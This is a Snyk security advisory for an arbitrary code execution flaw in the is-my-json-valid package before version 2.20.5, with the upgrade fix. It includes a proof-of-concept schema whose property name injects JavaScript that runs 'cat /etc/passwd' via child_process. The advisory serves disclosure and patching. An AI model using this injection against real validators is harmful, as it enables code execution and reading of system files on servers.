Arbitrary Code Execution Affecting org.webjars.npm:is-my-json-valid package, versions [,2.20.5)
Snyk CVSS
Attack Complexity
Low
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JAVA-ORGWEBJARSNPM-597168
- published 2 Aug 2020
- disclosed 31 Jul 2020
- credit chalker
How to fix?
Upgrade org.webjars.npm:is-my-json-valid
to version 2.20.5 or higher.
Overview
Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName
function.
##PoC
const schema = {
type: 'object',
properties: {
'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
required: true,
type:'string'
}
},
}
var validate = validator(schema);
validate({})